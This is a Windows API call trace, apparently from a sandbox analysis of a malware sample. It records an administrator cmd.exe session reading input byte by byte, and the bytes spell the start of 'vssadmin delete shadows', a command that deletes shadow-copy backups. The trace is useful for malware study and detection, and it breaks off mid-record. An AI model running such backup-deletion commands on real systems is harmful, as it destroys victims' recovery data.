dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\WINDOWS\\system32", lpStartupInfo=0x8484f8f1d0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x8484f8f1a8 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x8484f8f1a8*(hProcess=0x98, hThread=0x94, dwProcessId=0xc94, dwThreadId=0xcc0)) returned 1 [0153.139] CloseHandle (hObject=0x94) returned 1 [0153.139] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0153.139] GetProcessHeap () returned 0x206da0a0000 [0153.139] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a5a10) returned 1 [0153.139] GetEnvironmentStringsW () returned 0x206da0a5a10* [0153.139] GetProcessHeap () returned 0x206da0a0000 [0153.139] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xac4) returned 0x206da0b9490 [0153.139] FreeEnvironmentStringsA (penv="=") returned 1 [0153.139] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff9b5560000 [0153.139] GetProcAddress (hModule=0x7ff9b5560000, lpProcName="NtQueryInformationProcess") returned 0x7ff9b56056b0 [0153.139] NtQueryInformationProcess (in: ProcessHandle=0x98, ProcessInformationClass=0x0, ProcessInformation=0x8484f8e6a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x8484f8e6a8, ReturnLength=0x0) returned 0x0 [0153.139] ReadProcessMemory (in: hProcess=0x98, lpBaseAddress=0xeac50f000, lpBuffer=0x8484f8e6e0, nSize=0x7a0, lpNumberOfBytesRead=0x8484f8e6a0 | out: lpBuffer=0x8484f8e6e0*, lpNumberOfBytesRead=0x8484f8e6a0*=0x7a0) returned 1 [0153.139] WaitForSingleObject (hHandle=0x98, dwMilliseconds=0xffffffff) returned 0x0 [0158.977] GetExitCodeProcess (in: hProcess=0x98, lpExitCode=0x8484f8f128 | out: lpExitCode=0x8484f8f128*=0x0) returned 1 [0158.977] CloseHandle (hObject=0x98) returned 1 [0158.977] _vsnwprintf (in: _Buffer=0x8484f8f2f8, _BufferCount=0x13, _Format="%08X", _ArgList=0x8484f8f138 | out: _Buffer="00000000") returned 8 [0158.977] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0158.977] GetProcessHeap () returned 0x206da0a0000 [0158.977] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b9490) returned 1 [0158.977] GetEnvironmentStringsW () returned 0x206da0baa60* [0158.977] GetProcessHeap () returned 0x206da0a0000 [0158.977] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xaea) returned 0x206da0bb560 [0158.977] FreeEnvironmentStringsA (penv="=") returned 1 [0158.977] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0158.977] GetProcessHeap () returned 0x206da0a0000 [0158.977] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0bb560) returned 1 [0158.978] GetEnvironmentStringsW () returned 0x206da0baa60* [0158.978] GetProcessHeap () returned 0x206da0a0000 [0158.978] RtlAllocateHeap (HeapHandle=0x206da0a0000, Flags=0x8, Size=0xaea) returned 0x206da0bb560 [0158.978] FreeEnvironmentStringsA (penv="=") returned 1 [0158.978] GetProcessHeap () returned 0x206da0a0000 [0158.978] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b9070) returned 1 [0158.978] DeleteProcThreadAttributeList (in: lpAttributeList=0x8484f8f2b0 | out: lpAttributeList=0x8484f8f2b0) [0158.978] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0158.980] ??_V@YAXPEAX@Z () returned 0x1 [0158.980] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.980] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0158.980] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.980] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7d4abfc08 | out: lpMode=0x7ff7d4abfc08) returned 0 [0158.980] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.980] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7d4abfc0c | out: lpMode=0x7ff7d4abfc0c) returned 0 [0158.980] GetConsoleOutputCP () returned 0x4e3 [0158.980] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff7d4abfbb0 | out: lpCPInfo=0x7ff7d4abfbb0) returned 1 [0158.980] SetThreadUILanguage (LangId=0x0) returned 0x409 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b8fe0) returned 1 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b8e10) returned 1 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b8c50) returned 1 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b8bf0) returned 1 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0b8ba0) returned 1 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a8bb0) returned 1 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a6ef0) returned 1 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a6c60) returned 1 [0158.981] GetProcessHeap () returned 0x206da0a0000 [0158.981] RtlFreeHeap (HeapHandle=0x206da0a0000, Flags=0x0, BaseAddress=0x206da0a6e30) returned 1 [0158.981] _vsnwprintf (in: _Buffer=0x7ff7d4ac7f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x8484f8f6d8 | out: _Buffer="\r\n") returned 2 [0158.981] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.981] GetFileType (hFile=0x254) returned 0x3 [0158.981] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.981] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0158.981] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x8484f8f6a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f6a8*=0x2, lpOverlapped=0x0) returned 1 [0158.981] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7d4abbb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0158.981] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x206da240080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0158.981] _vsnwprintf (in: _Buffer=0x206da250060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x8484f8f6e8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0158.981] _vsnwprintf (in: _Buffer=0x206da250086, _BufferCount=0x83d2, _Format="%c", _ArgList=0x8484f8f6e8 | out: _Buffer=">") returned 1 [0158.981] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.981] GetFileType (hFile=0x254) returned 0x3 [0158.981] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.981] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0158.981] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7d4ab9970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x8484f8f6d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesWritten=0x8484f8f6d8*=0x14, lpOverlapped=0x0) returned 1 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] GetFileType (hFile=0x248) returned 0x3 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.982] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.982] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0158.982] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.982] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0158.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0158.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0158.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0158.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0158.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0158.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.983] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0158.983] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.983] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.983] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0158.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0158.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0158.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0158.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0158.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0158.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0158.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.984] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0158.984] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.984] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.984] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0158.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, lpOverlapped=0x0 | out: lpBuffer=0x7ff7d4ab9970*, lpNumberOfBytesRead=0x8484f8fa38*=0x1, lpOverlapped=0x0) returned 1 [0158.985] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff7d4ab9970, cbMultiByte=1, lpWideCharStr=0x7ff7d4ac3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0158.985] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.985] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0158.985] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7d4ab9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8484f8fa38, 